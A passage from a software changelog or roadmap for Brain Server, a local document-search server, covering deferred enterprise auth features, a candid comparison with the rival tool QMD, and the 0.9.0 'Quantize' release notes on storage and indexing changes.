  • Enterprise SSO / SCIM / ACLs / connectors are deferred (P4). Bearer-token auth (AUTH_TOKEN) exists, but OIDC/SAML and connector sandboxing do not.
  • QMD (Node/TypeScript, ~28k★ mid-2026) remains the more mature local document-search product: it uses LLM-generated query expansion and LLM cross-encoder reranking via local GGUF models (~2 GB auto-downloaded), plus collections, AST chunking, stable SDK/CLI/MCP. Brain Server’s deliberate wins are its tiny deterministic static-embedding edge profile and (planned) agent memory features — not currently measured search-quality superiority.

[0.9.0] — “Quantize” — (released)

Phase 0–1 stabilization: BLOB/sqlite-vec int8+binary storage, FTS5 lexical index, CORS env-var wiring, SERVER_VERSION from CARGO_PKG_VERSION, DB path override, and removal of the TOML annotation engine. See SPECS.md for the full historical record.